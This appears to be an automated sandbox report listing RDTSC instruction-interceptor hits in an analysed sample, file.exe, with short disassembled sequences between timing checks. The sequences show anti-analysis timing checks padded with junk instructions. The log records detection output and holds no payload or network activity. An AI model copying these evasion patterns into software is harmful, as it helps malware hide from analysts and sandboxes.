Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC393 second address: EDC3FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FAB30C06328h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ch 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 jmp 00007FAB30C0632Bh 0x00000028 mov dword ptr [ebp+122D2DCBh], edi 0x0000002e push 0000001Eh 0x00000030 pushad 0x00000031 mov esi, 7CDB2D7Bh 0x00000036 mov edi, 643C03D4h 0x0000003b popad 0x0000003c nop 0x0000003d jmp 00007FAB30C06333h 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jbe 00007FAB30C06328h 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC721 second address: EDC725 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: EDC81E second address: EDC88F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007FAB30C0632Fh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FAB30C06328h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a mov dx, A31Dh 0x0000002e lea eax, dword ptr [ebp+1249139Ah] 0x00000034 mov edi, 3D9BFD95h 0x00000039 nop 0x0000003a jmp 00007FAB30C06338h 0x0000003f push eax 0x00000040 jbe 00007FAB30C06339h 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F14A92 second address: F14A9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F14BE2 second address: F14C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007FAB30C06326h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007FAB30C0632Bh 0x00000014 jl 00007FAB30C06326h 0x0000001a popad 0x0000001b push ecx 0x0000001c pushad 0x0000001d popad 0x0000001e pop ecx 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F14C0D second address: F14C1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D44Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F14C1D second address: F14C26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F14DA7 second address: F14DAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F14EDD second address: F14EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C0632Dh 0x00000009 pop ecx 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1530D second address: F1532E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D452h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FAB30D3D446h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1532E second address: F15332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F15332 second address: F15338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F154AA second address: F154B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1B028 second address: F1B05D instructions: 0x00000000 rdtsc 0x00000002 ja 00007FAB30D3D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FAB30D3D44Dh 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FAB30D3D456h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F19F41 second address: F19F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1A0B3 second address: F1A0BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FAB30D3D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1A0BF second address: F1A0FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FAB30C06331h 0x00000008 jmp 00007FAB30C06337h 0x0000000d jmp 00007FAB30C0632Eh 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1A52E second address: F1A536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1AD53 second address: F1AD5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1AD5B second address: F1AD5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1D0A8 second address: F1D0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1D0AC second address: F1D0CC instructions: 0x00000000 rdtsc 0x00000002 jns 00007FAB30D3D446h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FAB30D3D448h 0x00000010 pushad 0x00000011 jmp 00007FAB30D3D44Bh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1D0CC second address: F1D0F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007FAB30C0632Ch 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FAB30C0632Ah 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1EBD3 second address: F1EBD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1EBD9 second address: F1EBDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1EBDF second address: F1EBE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1EBE5 second address: F1EBEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F1EBEA second address: F1EC1A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FAB30D3D463h 0x00000008 jmp 00007FAB30D3D457h 0x0000000d je 00007FAB30D3D446h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jbe 00007FAB30D3D44Eh 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F215EE second address: F215F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F215F2 second address: F215F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F2174E second address: F21762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C0632Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F21762 second address: F21774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FAB30D3D44Dh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F218E1 second address: F218E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F21A6A second address: F21A74 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAB30D3D446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F26BFC second address: F26C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C06330h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FAB30C06328h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 jmp 00007FAB30C0632Eh 0x00000019 jg 00007FAB30C06326h 0x0000001f pop eax 0x00000020 push ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F25EBE second address: F25ED8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FAB30D3D44Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c jnp 00007FAB30D3D446h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F261E0 second address: F261F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C06330h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F261F9 second address: F26213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D456h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F26345 second address: F26362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30C06338h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F26765 second address: F2676D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F2676D second address: F26772 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F2AF85 second address: F2AFA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D459h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F31AF3 second address: F31AF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F31F4B second address: F31F59 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FAB30D3D448h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F31F59 second address: F31F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Eh 0x00000007 pushad 0x00000008 jnc 00007FAB30C06326h 0x0000000e jbe 00007FAB30C06326h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3AE69 second address: F3AE6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F38F0A second address: F38F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F39A4A second address: F39A52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F39CC9 second address: F39CEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAB30C06330h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F39CEE second address: F39D03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAB30D3D44Ah 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3A2E7 second address: F3A316 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007FAB30C06326h 0x00000013 jmp 00007FAB30C06331h 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3A316 second address: F3A31C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3A5C4 second address: F3A5CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3AB52 second address: F3AB6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FAB30D3D446h 0x0000000a jmp 00007FAB30D3D44Eh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3AB6F second address: F3AB75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3AB75 second address: F3AB8E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jmp 00007FAB30D3D44Ch 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3AB8E second address: F3AB98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3AB98 second address: F3AB9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3DF81 second address: F3DF8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3DF8C second address: F3DF92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3E0C1 second address: F3E0D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3E0D6 second address: F3E0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push esi 0x00000007 pushad 0x00000008 push edi 0x00000009 pop edi 0x0000000a jno 00007FAB30D3D446h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3E230 second address: F3E236 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3E3CA second address: F3E3D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F3E3D0 second address: F3E3ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAB30C06339h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F436C6 second address: F436E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jp 00007FAB30D3D446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007FAB30D3D469h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnp 00007FAB30D3D446h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E97DA3 second address: E97DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: E97DA8 second address: E97DAD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F46FAD second address: F46FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 js 00007FAB30C06332h 0x0000000b jns 00007FAB30C06326h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F46FC0 second address: F46FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F46FC8 second address: F46FD9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F46FD9 second address: F46FFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007FAB30D3D461h 0x0000000d pushad 0x0000000e jl 00007FAB30D3D446h 0x00000014 jmp 00007FAB30D3D44Bh 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EA4B second address: F4EA8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 ja 00007FAB30C06326h 0x0000000c jmp 00007FAB30C06339h 0x00000011 popad 0x00000012 jmp 00007FAB30C0632Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FAB30C0632Fh 0x0000001e push eax 0x0000001f pop eax 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EA8E second address: F4EABD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D44Fh 0x00000007 jmp 00007FAB30D3D458h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EABD second address: F4EAC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EAC3 second address: F4EAC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EAC7 second address: F4EAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EAD5 second address: F4EAD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4EAD9 second address: F4EAFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FAB30C06334h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4CBD4 second address: F4CBD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4CBD8 second address: F4CBE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jg 00007FAB30C06326h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4CBE8 second address: F4CC10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30D3D452h 0x00000007 jmp 00007FAB30D3D44Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007FAB30D3D446h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4CC10 second address: F4CC14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4CD8A second address: F4CDA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FAB30D3D456h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4CDA7 second address: F4CDAC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4D05D second address: F4D061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4D061 second address: F4D06B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4D06B second address: F4D07B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FAB30D3D446h 0x00000008 jnl 00007FAB30D3D446h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4D07B second address: F4D080 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4D87B second address: F4D87F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4DA52 second address: F4DA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4E20E second address: F4E215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: F4E215 second address: F4E244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAB30C0632Ch 0x00000007 jmp 00007FAB30C0632Fh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FAB30C0632Eh 0x00000016 rdtsc
